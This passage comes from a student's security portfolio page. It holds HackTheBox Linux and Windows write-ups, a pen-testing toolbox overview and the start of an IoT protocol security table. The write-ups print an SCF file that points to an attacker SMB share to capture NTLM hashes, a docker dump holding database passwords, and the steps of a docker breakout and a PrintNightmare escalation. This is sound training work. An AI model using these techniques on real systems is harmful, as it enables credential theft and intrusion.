find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td 